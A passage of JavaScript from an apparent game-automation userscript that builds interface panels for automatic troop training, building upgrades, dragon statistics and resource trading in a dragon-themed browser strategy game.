					var dial = new ModalDialog(document.getElementById(UID['tabJobTrain_Content']), 300, 165, '', false, null);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('Refreshing Tax Rate');

					if (isNaN(newRate) || newRate < 0 || newRate > 100) {
						document.getElementById(UID['TabJobTrainTaxRate']).style.backgroundColor = 'red';
						document.getElementById(UID['TabJobTrainTaxRate']).value = Seed.cities[CAPITAL.id].figures.tax_rate;
					} else {
						new MyAjax.switchTaxRate(Seed.cities[CAPITAL.id].id, newRate, function(rslt) {
							if (rslt.ok) {
								actionLog('<B> ' + translate('Successfully'));
							} else {
								actionLog(translate('Refreshing Tax Rate') + ' : ' + rslt.ok +'. '+ translate('failed and returned error') +': '+ rslt.errmsg);
							}
							try {
								dial.destroy();
							} catch (e) {}
						});
					}
				}

				function enableChanged(event) {
					var t = Tabs.Jobs;
					if (Data.options.training.enabled) {
						t.setTrainEnable(false); /* It would be very bad to leave training on when switching queue types.  */
						if (t.contentType == 1)
							t.jobFeedback(translate('Safe Mode') + ' ' + translate('Training') + ' ' + translate('Turned Off'));
					}
					t.selectedQ = event.target.value;
					Data.options.training.mode = event.target.value;
				}

				function troopsChanged(event) {
					var args = event.target.getAttribute('ref').split('_');
					var x = toNum(event.target.value);
					if (isNaN(x) || x < 0) {
						event.target.style.backgroundColor = 'red';
						dispError(translate('Invalid number of troops', t.container));
					} else {
						event.target.value = x;
						Data.options.training.city[args[0]].cap[args[1]] = x;
						event.target.style.backgroundColor = '';
					}
				}
			},

			/*** Jobs Tab - Build Sub-tab ***/
			tabJobBuild: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobBuild']).className = 'selected';
				document.getElementById(UID['tabJobBuild']).style.zIndex = 1;
				var divClass = 'subtitle';
				t.lastSubTab = 'tabJobBuild';

				t.contentType = 2;

				var n = '<div class=' + UID['title'] + '>' + translate('Build') + ' ' + translate('Automatically') + '</div>' + '<div class=' + UID['status_ticker'] + '>' + '	<center><input id=' + setUID('tabJobBuild_OnOff') + ' type=button /></center>' + '	<div id=' + setUID('tabJobBuild_Report') + ' class=' + UID['status_report'] + '>' + '		<table id=' + setUID('tabJobBuild_Table') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div><br>' + '	<div id=' + setUID('tabJobBuild_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>';
				document.getElementById(UID['tabJob_Header']).style.height = "205px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;
				document.getElementById(UID['tabJob_Content']).innerHTML = '<div id=' + setUID('tabJobBuild_Content') + '>';
				document.getElementById(UID['tabJob_Content']).style.height = "455px";

				m = '<div style="margin-bottom:5px;">' + '	<table class=' + UID['table'] + ' width=100%>' + '		<tr valign=top>' + '			<td width=5% align=center><input id=' + setUID('tabJobBuild_HideFields') + ' ' + (Data.options.building.hide_fields ? 'CHECKED ' : '') + ' type=checkbox /></td>' + '			<td align=left>' + translate('Hide resource fields') + '</td>' + '		</tr>' + '	</table>' + '</div>';
				var el = [],
					listC = [],
					listF = [],
					cl = [];
				for (var cityIdx = 0; cityIdx < Seed.cities.length; cityIdx++) {
					if (Data.options.collapsed.build[cityIdx] == undefined)
						Data.options.collapsed.build[cityIdx] = false;
				}
				verboseLog('' + inspectObj(Seed.cities, 8, 1));
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					divClass = 'subtitle';
					switch (cityIdx) {
						case CAPITAL.id:
							listC = capital_buildings;
							listF = field_buildings;
							verboseLog('cityIdx : ' + cityIdx + ', CAPITAL.id : ' + CAPITAL.id);
							break;
						case SPECTRAL_OUTPOST.id:
							listC = spectral_buildings;
							listF = spectral_fields;
							divClass = 'subtitle_sr';
							verboseLog('cityIdx : ' + cityIdx + ', SPECTRAL_OUTPOST.id : ' + SPECTRAL_OUTPOST.id);
							break;
						case SKY_OUTPOST.id:
							listC = skythrone_buildings;
							listF = false;
							verboseLog('cityIdx : ' + cityIdx + ', SKY_OUTPOST.id : ' + SKY_OUTPOST.id);
							break;
						case CAVE_OUTPOST.id:
							listC = cave_buildings;
							listF = false;
							verboseLog('cityIdx : ' + cityIdx + ', CAVE_OUTPOST.id : ' + CAVE_OUTPOST.id);
							break;
						case LUNA_OUTPOST.id:
							listC = luna_buildings;
							listF = false;
							verboseLog('cityIdx : ' + cityIdx + ', LUNA_OUTPOST.id : ' + LUNA_OUTPOST.id);
							break;
						case COLOSSUS_OUTPOST.id:
							listC = colossus_buildings;
							listF = false;
							verboseLog('cityIdx : ' + cityIdx + ', COLOSSUS_OUTPOST.id : ' + COLOSSUS_OUTPOST.id);
							break;
						default:
							listC = outpost_buildings;
							listF = field_buildings;
							verboseLog('cityIdx : ' + cityIdx + ', default ');
							break;
					}

					if (Seed.cities[cityIdx]) {
						var city = Seed.cities[cityIdx];
						var cityBuildId = 'tabJobBuild_cityId_' + cityIdx;
						var accordionId = 'tabJobBuild_accordion_' + cityIdx;
						var cityBuildListId = 'tabJobBuild_cityList_' + cityIdx;
						m += '<div class=' + UID['content'] + ' style="margin-bottom:5px;">' + '<A><div id=' + setUID(cityBuildId) + ' class=' + UID[divClass] + ' ref="' + cityIdx + '">' + '<table width=100%>' + '	<tr><td align=center width=100% style="border-right:none">' + ((city.type == 'Outpost') ? translate(city.name) : city.name) + '</td>' + '		<td align=right style="border-right:none"><div id=' + setUID(accordionId) + ' ref="' + cityIdx + '"></div></td>' + '</tr></table></div></A>' + '<div id=' + setUID(cityBuildListId) + '>' + '<table class=' + UID['table'] + '>';
						cl.push(UID[cityBuildId]);
						if (!Data.options.building.hide_fields && listF) {
							for (var i = 0; i < listF.length; ++i) {
								var max_level = Seed.stats.building[listF[i]].level.length - 1;
								var min_level = (Buildings.getLevel(cityIdx, listF[i])).min;
								if (min_level < max_level) {
									m += '	<tr>' + '			<td>' + '			<label><input type=checkbox id=' + setUID('tabJobBuild_CB_' + (cityIdx + '_' + listF[i])) + ' ref=' + (cityIdx + '_' + listF[i]) + ' ' + (Data.options.building.level_enable[cityIdx][listF[i]] ? 'checked' : '') + ' /> ' + translate(listF[i]) + '</label>' + '			</td>' + '			<td>' + '			&nbsp;<span class=jewel>' + min_level + '</span>' + '			</td>' + '			<td>' + buildDisplayCap(cityIdx, (listC.length + i), listF[i]) + '</td>' + '		</tr>';
									el.push(UID['tabJobBuild_CB_' + (cityIdx + '_' + listF[i])]);
								} else {
									Data.options.building.level_enable[cityIdx][listF[i]] = false;
								}
							}
							m += '<tr><td colspan=5><hr></td></tr>';
						}
						for (var i = 0; i < listC.length; ++i) {
							var max_level = Seed.stats.building[listC[i]].level.length - 1;
							var min_level = (Buildings.getLevel(cityIdx, listC[i])).min;
							if (min_level < max_level) {
								m += '	<tr>' + '			<td>' + '			<label><input type=checkbox id=' + setUID('tabJobBuild_CB_' + (cityIdx + '_' + listC[i])) + ' ref=' + (cityIdx + '_' + listC[i]) + ' ' + (Data.options.building.level_enable[cityIdx][listC[i]] ? 'checked' : '') + ' /> ' + translate(listC[i]) + '</label>' + '			</td>' + '			<td>' + '			&nbsp;<span class=jewel>' + min_level + '</span>' + '			</td>' + '			<td>' + buildDisplayCap(cityIdx, i, listC[i]) + '</td>' + '		</tr>';
								el.push(UID['tabJobBuild_CB_' + (cityIdx + '_' + listC[i])]);
							} else {
								Data.options.building.level_enable[cityIdx][listC[i]] = false;
							}
						}
						m += '</table></div></div>';
					}
				}
				m += '</div>';
				var container = document.getElementById(UID['tabJobBuild_Content']);
				container.style.height = container.offsetHeight + 'px';
				container.innerHTML = m;

				for (var c = 0; c < cl.length; c++) {
					document.getElementById(cl[c]).addEventListener('click', toggleHideShow, false);
					var cityIdx = document.getElementById(cl[c]).getAttribute('ref');
					var div_id = 'tabJobBuild_cityList_' + cityIdx;
					var acc_id = 'tabJobBuild_accordion_' + cityIdx;
					var div_el = document.getElementById(UID[div_id]);
					if (Data.options.collapsed.build[cityIdx]) {
						div_el.style.display = 'none';
						document.getElementById(UID[acc_id]).innerHTML = '+&nbsp';
					} else {
						div_el.style.display = 'block';
						document.getElementById(UID[acc_id]).innerHTML = '-&nbsp';
					}
				}
				for (var i = 0; i < el.length; i++) {
					document.getElementById(el[i]).addEventListener('click', checkedBuild, false);
				}
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx]) {
						var buildList;
						if (!Data.options.building.hide_fields) {
							switch (cityIdx) {
								case CAPITAL.id:
									buildList = capital_buildings.concat(field_buildings);
									break;
								case SPECTRAL_OUTPOST.id:
									buildList = spectral_buildings.concat(spectral_fields);
									break;
								case SKY_OUTPOST.id:
									buildList = skythrone_buildings;
									break;
								case CAVE_OUTPOST.id:
									buildList = cave_buildings;
									break;
								case LUNA_OUTPOST.id:
									buildList = luna_buildings;
									break;
								case COLOSSUS_OUTPOST.id:
									buildList = colossus_buildings;
									break;
								default:
									buildList = outpost_buildings.concat(field_buildings);
									break;
							}
						} else {
							switch (cityIdx) {
								case CAPITAL.id:
									buildList = capital_buildings;
									break;
								case SPECTRAL_OUTPOST.id:
									buildList = spectral_buildings;
									break;
								case SKY_OUTPOST.id:
									buildList = skythrone_buildings;
									break;
								case CAVE_OUTPOST.id:
									buildList = cave_buildings;
									break;
								case LUNA_OUTPOST.id:
									buildList = luna_buildings;
									break;
								case COLOSSUS_OUTPOST.id:
									buildList = colossus_buildings;
									break;
								default:
									buildList = outpost_buildings;
									break;
							}
						}
						for (var i = 0; i < buildList.length; ++i) {
							var max_level = Seed.stats.building[buildList[i]].level.length - 1;
							var min_level = (Buildings.getLevel(cityIdx, buildList[i])).min;
							if (min_level >= max_level) continue;
							var selectMenu = document.getElementById(UID['tabJobBuild_Cap_' + cityIdx + '_' + buildList[i]]);
							try {
								if (!Data.options.building.level_cap[cityIdx][i]) {
									var min_lev = (Buildings.getLevel(cityIdx, buildList[i])).min;
									var lowestBuildingLevel = (min_lev < 9 ? 9 : min_lev);
									selectMenu.selectedIndex = lowestBuildingLevel;
									Data.options.building.level_cap[cityIdx][i] = lowestBuildingLevel;
								} else {
									selectMenu.selectedIndex = Data.options.building.level_cap[cityIdx][i];
									selectMenu.options[Data.options.building.level_cap[cityIdx][i]].selected = true;
									if (Data.options.building.level_enable[cityIdx][buildList[i]])
										t.checkBuildReqs(cityIdx, buildList[i]);
								}
							} catch (e) {}
							selectMenu.addEventListener('change', changeBuildCap, false);
						}
					}
				}
				document.getElementById(UID['tabJobBuild_HideFields']).addEventListener('click', onCheckHide, false);
				document.getElementById(UID['tabJobBuild_OnOff']).addEventListener('click', function() {
					var t = Tabs.Jobs;
					t.setBuildEnable(!Data.options.building.enabled);
				}, false);
				t.refreshBuildButton(Data.options.building.enabled);

				function onCheckHide(event) {
					Data.options.building.hide_fields = event.target.checked;
					if (Data.options.building.hide_fields) {
						for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
							var list = [];
							switch (cityIdx) {
								case CAPITAL.id:
									list = field_buildings;
									break;
								case SPECTRAL_OUTPOST.id:
									list = spectral_fields;
									break;
								case SKY_OUTPOST.id:
									list = false;
									break;
								case CAVE_OUTPOST.id:
									list = false;
									break;
								case LUNA_OUTPOST.id:
									list = false;
									break;
								case COLOSSUS_OUTPOST.id:
									list = false;
									break;
								default:
									list = field_buildings;
									break;
							}
							if (list)
								for (var i = 0; i < list.length; ++i)
									Data.options.building.level_enable[cityIdx][list[i]] = false;
						}
					}
					setTimeout(t.tabJobBuild, 1000);
				}

				function checkedBuild(event) {
					var ref = event.target.getAttribute('ref');
					var idx = ref.split('_');
					var cityId = Seed.cities[idx[0]].id;
					Data.options.building.level_enable[idx[0]][idx[1]] = event.target.checked;
					if (Data.options.building.level_enable[idx[0]][idx[1]]) t.checkBuildReqs(idx[0], idx[1]);
					if (Data.options.building.enabled && event.target.checked) t.buildTick();
				}

				function buildDisplayCap(cityIdx, listIdx, type) {
					var maxLvl = Seed.stats.building[type].level.length - 1;
					var minLvl = (Buildings.getLevel(cityIdx, type)).min;
					var m = '<td>' + '	<select id=' + setUID('tabJobBuild_Cap_' + cityIdx + '_' + type) + ' ref=' + (cityIdx + '_' + listIdx) + '>' + '		<option value=0' + (minLvl > 0 ? ' style="display:none;"' : '') + '>0</option>' + '		<option value=1' + (minLvl > 1 ? ' style="display:none;"' : '') + '>1</option>' + '		<option value=2' + (minLvl > 2 ? ' style="display:none;"' : '') + '>2</option>' + '		<option value=3' + (minLvl > 3 ? ' style="display:none;"' : '') + '>3</option>' + '		<option value=4' + (minLvl > 4 ? ' style="display:none;"' : '') + '>4</option>' + '		<option value=5' + (minLvl > 5 ? ' style="display:none;"' : '') + '>5</option>' + '		<option value=6' + (minLvl > 6 ? ' style="display:none;"' : '') + '>6</option>' + '		<option value=7' + (minLvl > 7 ? ' style="display:none;"' : '') + '>7</option>' + '		<option value=8' + (minLvl > 8 ? ' style="display:none;"' : '') + '>8</option>' + '		<option value=9' + (minLvl > 9 ? ' style="display:none;"' : '') + '>9</option>' + '		<option value=10' + ((minLvl > 10 || maxLvl < 10) ? ' style="display:none;"' : '') + '>10</option>' + '		<option value=11' + ((minLvl > 11 || maxLvl < 11) ? ' style="display:none;"' : '') + '>11</option>' + '		<option value=12' + ((minLvl > 12 || maxLvl < 12) ? ' style="display:none;"' : '') + '>12</option>' + '		<option value=13' + ((minLvl > 13 || maxLvl < 13) ? ' style="display:none;"' : '') + '>13</option>' + '		<option value=14' + ((minLvl > 14 || maxLvl < 14) ? ' style="display:none;"' : '') + '>14</option>' + '		<option value=15' + ((minLvl > 15 || maxLvl < 15) ? ' style="display:none;"' : '') + '>15</option>' + '		<option value=16' + ((minLvl > 16 || maxLvl < 16) ? ' style="display:none;"' : '') + '>16</option>' + '		<option value=17' + ((minLvl > 17 || maxLvl < 17) ? ' style="display:none;"' : '') + '>17</option>' + '		<option value=18' + ((minLvl > 18 || maxLvl < 18) ? ' style="display:none;"' : '') + '>18</option>' + '		<option value=19' + ((minLvl > 19 || maxLvl < 19) ? ' style="display:none;"' : '') + '>19</option>' + '		<option value=20' + ((minLvl > 20 || maxLvl < 20) ? ' style="display:none;"' : '') + '>20</option>' + '	</select></td>' + '		<td id=' + setUID('tabJobBuild_FB_' + cityIdx + '_' + type) + ' class=jewel valign=top style="width:250px;white-space:normal;"></td>';
					return m;
				}

				function changeBuildCap(event) {
					var ref = event.target.getAttribute('ref');
					var idx = ref.split('_');
					Data.options.building.level_cap[idx[0]][idx[1]] = event.target[event.target.selectedIndex].value;
					event.target.style.backgroundColor = '';
					if (Data.options.building.level_enable[idx[0]][idx[1]]) t.checkBuildReqs(idx[0], idx[1]);
					if (Data.options.building.enabled) t.buildTick();
				}

				function onScroll(event) {
					if (t.contentType == 2) t.buildScrollPos = document.getElementById(UID['tabJob_Content']).scrollTop;
				}

				function toggleHideShow(event) {
					if (event.target.tagName == 'DIV')
						element = event.target;
					else {
						var parentElement = event.target.parentNode;
						while (parentElement.tagName != 'DIV') {
							parentElement = parentElement.parentNode;
						}
						element = parentElement;
					}
					var cityIdx = element.getAttribute('ref');
					var div_id = 'tabJobBuild_cityList_' + cityIdx
					var acc_id = 'tabJobBuild_accordion_' + cityIdx;
					var div_el = document.getElementById(UID[div_id]);
					if (div_el.style.display == 'none') {
						div_el.style.display = 'block';
						document.getElementById(UID[acc_id]).innerHTML = '-&nbsp';
						Data.options.collapsed.build[cityIdx] = false;
					} else {
						div_el.style.display = 'none';
						document.getElementById(UID[acc_id]).innerHTML = '+&nbsp';
						Data.options.collapsed.build[cityIdx] = true;
					}
				}
				t.buildStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(t.buildStatTick, 1000);
			},

			/*** Jobs Tab - Dragon Sub-tab ***/
			tabJobDragon: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobDragon']).className = 'selected';
				document.getElementById(UID['tabJobDragon']).style.zIndex = 1;
				var divClass = 'subtitle';
				
				t.lastSubTab = 'tabJobDragon';
				t.contentType = 6;

				var n = '<div class=' + UID['title'] + '>' + translate('Dragon') + ' ' + translate('Healing') + '</div>' + '<div class=' + UID['status_ticker'] + '>' 
						+ '	<div id=' + setUID('tabJobDragon_Report') + ' class=' + UID['status_report'] + '>' 
						+ '		<table id=' + setUID('tabJobDragon_Table') + ' class=' + UID['table'] + '>' 
						+ '		</table>' 
						+ '	</div><br>' 
						+ '	<div id=' + setUID('tabJobDragon_Feedback') + ' class=' + UID['status_feedback'] + '></div>' 
						+ '</div>';

				document.getElementById(UID['tabJob_Header']).style.height = "205px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;
				document.getElementById(UID['tabJob_Content']).innerHTML = '<div id=' + setUID('tabJobDragon_Content') + '>';
				document.getElementById(UID['tabJob_Content']).style.height = "455px";

				var m = '';
				var el = [],
					listC = [],
					listF = [],
					cl = [];
				for (var cityIdx = 0; cityIdx < Seed.cities.length; cityIdx++) {
					if (Data.options.collapsed.dragon[cityIdx] == undefined)
						Data.options.collapsed.dragon[cityIdx] = false;
				}
				verboseLog('' + inspectObj(Seed.cities, 8, 1));
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					var dragon = {};
					var stat = {};
					var typeAb = '';
					divClass = 'subtitle';
					switch (cityIdx) {
						case CAPITAL.id:
							dragon = Seed.dragons['GreatDragon'];
							stat = Seed.greatDragons.GreatDragon[dragon.level];
							break;
						case WATER_OUTPOST.id:
							dragon = Seed.dragons['WaterDragon'];
							stat = Seed.greatDragons.WaterDragon[dragon.level];
							typeAb = 'water';
							break;
						case STONE_OUTPOST.id:
							dragon = Seed.dragons['StoneDragon'];
							stat = Seed.greatDragons.StoneDragon[dragon.level];
							typeAb = 'stone';
							break;
						case FIRE_OUTPOST.id:
							dragon = Seed.dragons['FireDragon'];
							stat = Seed.greatDragons.FireDragon[dragon.level];
							typeAb = 'fire';
							break;
						case WIND_OUTPOST.id:
							dragon = Seed.dragons['WindDragon'];
							stat = Seed.greatDragons.WindDragon[dragon.level];
							typeAb = 'wind';
							break;
						case SPECTRAL_OUTPOST.id:
							dragon = Seed.dragons['SpectralDragon'];
							//stat = Seed.greatDragons.SpectralDragon[dragon.level];
							break;
						case ICE_OUTPOST.id:
							dragon = Seed.dragons['IceDragon'];
							stat = Seed.greatDragons.IceDragon[dragon.level];
							typeAb = 'ice';
							break;
						case SWAMP_OUTPOST.id:
							dragon = Seed.dragons['SwampDragon'];
							stat = Seed.greatDragons.SwampDragon[dragon.level];
							typeAb = 'swamp';
							break;
						case FOREST_OUTPOST.id:
							dragon = Seed.dragons['ForestDragon'];
							stat = Seed.greatDragons.ForestDragon[dragon.level];
							typeAb = 'forest';
							break;
						case DESERT_OUTPOST.id:
							dragon = Seed.dragons['DesertDragon'];
							stat = Seed.greatDragons.DesertDragon[dragon.level];
							typeAb = 'desert';
							break;
						case CHRONO_OUTPOST.id:
							dragon = Seed.dragons['ChronoDragon'];
							stat = Seed.greatDragons.ChronoDragon[dragon.level];
							typeAb = 'chrono';
							break;
						case SKY_OUTPOST.id:
							dragon = Seed.dragons['KaiserDragon'];
							stat = Seed.greatDragons.KaiserDragon[dragon.level];
							typeAb = 'kaiser';
							break;
						case CAVE_OUTPOST.id:
							dragon = Seed.dragons['CaveDragon'];
							stat = Seed.greatDragons.CaveDragon[dragon.level];
							typeAb = 'cave';
							break;
						case LUNA_OUTPOST.id:
							dragon = Seed.dragons['LunaDragon'];
							stat = Seed.greatDragons.LunaDragon[dragon.level];
							typeAb = 'luna';
							break;
						case COLOSSUS_OUTPOST.id:
							dragon = Seed.dragons['ColossusDragon'];
							stat = Seed.greatDragons.ColossusDragon[dragon.level];
							typeAb = 'colossus';
							break;
					}

					if (Seed.cities[cityIdx] && cityIdx != SPECTRAL_OUTPOST.id) {
						var city = Seed.cities[cityIdx];
						var cityDragonId = 'tabJobDragon_cityId_' + cityIdx;
						var accordionId = 'tabJobDragon_accordion_' + cityIdx;
						var cityDragonListId = 'tabJobDragon_cityList_' + cityIdx;
						m += '<div class=' + UID['content'] + ' style="margin-bottom:5px;">' 
							+ '<A><div id=' + setUID(cityDragonId) + ' class=' + UID[divClass] + ' ref="' + cityIdx + '">' 
							+ '<table width=100%>' 
							+ '	<tr><td align=center width=100% style="border-right:none">' + ((city.type == 'Outpost') ? translate(city.name) : city.name) + '</td>' 
							+ '		<td align=right style="border-right:none"><div id=' + setUID(accordionId) + ' ref="' + cityIdx + '"></div></td>' 
							+ '</tr></table></div></A>' 
							+ '<div id=' + setUID(cityDragonListId) + '>';
						cl.push(UID[cityDragonId]);
						if(dragon.type) {
							var dragonType = dragon.type.substring(dragon.type.indexOf('::') + 2);
							dragonType = (dragonType == 'CityGreatDragon') ? 'GreatDragon' : dragonType;
							
							m += '<div class=' + UID['subtitle_light'] + '>' + translate(dragonType) + '</div>';
							m += '<table class=' + UID['table'] + '>';
							m += '<tr><td class=right>' + translate('level') + ' : </td><td align=right>' + dragon.level + '</td></tr>';
							m += '<tr><td class=right>' + translate('Melee') + ' : </td><td align=right>' + numf(stat.melee, ' ') + '</td></tr>';
							m += '<tr><td class=right>' + translate('Defense') + ' : </td><td align=right>' + numf(stat.defense, ' ') + '</td></tr>';
							m += '<tr><td class=right>' + translate('Speed') + ' : </td><td align=right>' + numf(stat.speed, ' ') + '</td></tr>';
							m += '<tr><td class=right>' + translate('Range') + ' : </td><td align=right>' + numf(stat.range, ' ') + '</td></tr>';
							m += '<tr><td class=right>' + translate('Ranged') + ' : </td><td align=right>' + numf(stat.ranged, ' ') + '</td></tr>';
							m += '<tr><td class=right>' + translate('Life') + ' : </td><td align=right>' + numf(stat.life, ' ') + '</td></tr>';
							m += '</table>';
							
							m += '<div class=' + UID['subtitle_light'] + '>' + translate('Armor') + '&nbsp;&amp;&nbsp;' + translate('Scales') + '</div>';
							m += '<table class=' + UID['table'] + '>';
							var mArmor = translate('Not ready') + countArmorDragon(dragonType);
							if (dragon.customizations && dragon.customizations.armor && dragon.slots && dragon.slots.armor) {
								mArmor = dragon.slots.armor;
							}
							m += '<tr><td class=right>' + translate('Armor') + ' : </td><td>' + translate(mArmor) + '</td>';
							m += '<td><input class="Xtrasmall ' + UID['btn_purple'] + '" style="width:auto !important;" type=button value="' + translate('Info') + '" title="' + (translateByKey('description', mArmor, 'items')).replace(/"/g, '\"') + '" /></td></tr>';
							var mScale = 'n/a';
							if (dragon.customizations && dragon.customizations.scales && dragon.slots && dragon.slots.scales) {
								mScale = dragon.slots.scales;
							}
							m += '<tr><td class=right>' + translate('Scales') + ' : </td><td>' + translate(mScale) + '</td>';
							m += '<td><input class="Xtrasmall ' + UID['btn_purple'] + '" style="width:auto !important;" type=button value="' + translate('Info') + '" title="' + (translateByKey('description', mScale, 'items')).replace(/"/g, '\"') + '" /></td></tr>';
							m += '</table>';
							
							if(dragon.battle_arts.length > 0) {
								m += '<div class=' + UID['subtitle_light'] + '>' + translate('battle-arts') + '</div>';
								m += '<table class=' + UID['table'] + '>';
								for (var ba=0 ; ba < dragon.battle_arts.length ; ba++) {
									var battleArt = {};
									var battleArtAmount = 0;
									for(var dba=0 ; dba < Manifest.data.dragon_battle_arts.length ; dba++) {
										if(dragon.battle_arts[ba].name == Manifest.data.dragon_battle_arts[dba].name) {
											battleArt = Manifest.data.dragon_battle_arts[dba];
											break;
										}
									}
									for(dba=0 ; dba < battleArt.bonus.length ; dba++) {
										if(battleArt.bonus[dba].level == dragon.battle_arts[ba].level) {
											battleArtAmount = battleArt.bonus[dba].amount;
											break;
										}
									}
									m += '<tr><td class=right>' + translate('dragonpower-' + dragon.battle_arts[ba].name.replace(/_/g, '')) + ' : </td><td align=right>' + dragon.battle_arts[ba].level + '</td>';
									m += '<td><input class="Xtrasmall ' + UID['btn_purple'] + '" style="width:auto !important;" type=button value="' + translate('Info') + '" title="' + (translate(typeAb+'dragonpower-'+battleArt.slot+'-detail')).replace('%num', numf(battleArtAmount, ' ')).replace(/"/g, '\"') + '" /></td></tr>';
								}
							}
							m += '</table></div></div>';
						}
					}
				}
				m += '</div>';
				var container = document.getElementById(UID['tabJobDragon_Content']);
				container.style.height = container.offsetHeight + 'px';
				container.innerHTML = m;

				for (var c = 0; c < cl.length; c++) {
					document.getElementById(cl[c]).addEventListener('click', toggleHideShow, false);
					var cityIdx = $(cl[c]).getAttribute('ref');
					var div_id = 'tabJobDragon_cityList_' + cityIdx;
					var acc_id = 'tabJobDragon_accordion_' + cityIdx;
					var div_el = $(UID[div_id]);
					if (Data.options.collapsed.dragon[cityIdx]) {
						div_el.style.display = 'none';
						document.getElementById(UID[acc_id]).innerHTML = '+&nbsp';
					} else {
						div_el.style.display = 'block';
						document.getElementById(UID[acc_id]).innerHTML = '-&nbsp';
					}
				}
				
				t.dragonStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(t.dragonStatTick, 1000);
				
				function toggleHideShow(event) {
					if (event.target.tagName == 'DIV')
						element = event.target;
					else {
						var parentElement = event.target.parentNode;
						while (parentElement.tagName != 'DIV') {
							parentElement = parentElement.parentNode;
						}
						element = parentElement;
					}
					var cityIdx = element.getAttribute('ref');
					var div_id = 'tabJobDragon_cityList_' + cityIdx
					var acc_id = 'tabJobDragon_accordion_' + cityIdx;
					var div_el = document.getElementById(UID[div_id]);
					if (div_el.style.display == 'none') {
						div_el.style.display = 'block';
						document.getElementById(UID[acc_id]).innerHTML = '-&nbsp';
						Data.options.collapsed.dragon[cityIdx] = false;
					} else {
						div_el.style.display = 'none';
						document.getElementById(UID[acc_id]).innerHTML = '+&nbsp';
						Data.options.collapsed.dragon[cityIdx] = true;
					}
				}
				
				function countArmorDragon(dragon_type) {
					var armors = ['BodyArmor', 'ClawGuards', 'TailGuard', 'Helmet'];
					var ret = 0;
					for (var i = 0; i < armors.length; i++) {
						if (toNum(Seed.player.items[dragon_type + armors[i]]) !== 0) {
							ret++;
						}
					}
					if (ret == 4) return '';
					else return ' (' + translate('Got') + ' <font color=red>' + ret + '</font>/4)';
				}
			},

			/** * Jobs Tab - Trade Sub-tab ** */
			tabJobTrade: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobTrade']).className = 'selected';
				document.getElementById(UID['tabJobTrade']).style.zIndex = 1;
				
				t.lastSubTab = 'tabJobTrade';
				t.contentType = 7;
				
				var n = '<div class=' + UID['title'] + '>' + translate('trade') + '</div>' + '<div class=' + UID['status_ticker'] + '>' 
						+ '	<div id=' + setUID('tabJobTrade_Report') + ' class=' + UID['status_report'] + '>' 
						+ '		<table id=' + setUID('tabJobTrade_Table') + ' class=' + UID['table'] + '>' 
						+ '		</table>' 
						+ '	</div><br>' 
						+ '	<div id=' + setUID('tabJobTrade_Feedback') + ' class=' + UID['status_feedback'] + '></div>' 
						+ '</div>'
						+ '<ul class=tabs>' 
						+ '	<li class="tab first"><a id=' + setUID('tabJobTrade_tabBuy') + '>' + translate('buy') + '</a></li>' 
						+ '	<li class="tab"><a id=' + setUID('tabJobTrade_tabSell') + '>' + translate('sell') + '</a></li>' 
						+ '</ul>';

				document.getElementById(UID['tabJob_Header']).style.height = "205px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;
				document.getElementById(UID['tabJob_Content']).innerHTML = '<div id=' + setUID('tabJobTrade_Content') + '></div>';
				document.getElementById(UID['tabJob_Content']).style.height = "455px";
				document.getElementById(UID['tabJobTrade_tabBuy']).addEventListener('click', t.tabJobTradeBuy, false);
				document.getElementById(UID['tabJobTrade_tabSell']).addEventListener('click', t.tabJobTradeSell, false);
				
				switch (t.tradeContentType) {
					case 0:
						t.tabJobTradeBuy();
						break;
					case 1:
						t.tabJobTradeSell();
						break;
				}
				
				t.tradeStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(t.tradeStatTick, 1000);
			},
			
			/** * buy sub tab */
			tabJobTradeBuy: function() {
				var t = Tabs.Jobs;

				document.getElementById(UID['tabJobTrade_tabSell']).className = '';
				document.getElementById(UID['tabJobTrade_tabSell']).style.zIndex = 0;
				document.getElementById(UID['tabJobTrade_tabBuy']).className = 'selected';
				document.getElementById(UID['tabJobTrade_tabBuy']).style.zIndex = 1;

				t.tradeContentType = 0;
				
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' 
					+ '		<div class=' + UID['subtitle'] + '>' + translate('trade') + ' - <b>' + translate('buy') + '</b></div>'
					+ '		<table><tr><td align=right>'
					+ translate('resource') + ' : </td><td> <select id='+setUID('tabTrade_BuyResource')+' >';
				
				for (var p = 0; p < trade_resource_types.length; p++) {
					m += '<option value="' + trade_resource_types[p] + '" '+ (Data.options.trade.buy.resource == trade_resource_types[p] ? 'selected' : '') +' >' + translate(trade_resource_types[p]) + '</option>';
				}
				
				m += '		</select></td></tr>' 
					+ '		<tr><td align=right>' + translate('price') + ' ' + translate('max') + ' : </td><td> <input type=text id='+setUID('tabTrade_PriceMax')+' style="width:70px" value="' + Data.options.trade.buy.price + '" /></td></tr>'
					+ '		<tr><td align=right>' + translate('min-quantity') + ' : </td><td> <input type=text id='+setUID('tabTrade_QtyMin')+' style="width:70px" value="' + Data.options.trade.buy.qty + '" /></td></tr></table>'
					+ '		<center><input value="' + translate('search') + '" id=' + setUID('tabTrade_RefresTableBuy') + ' type=button /></center>'
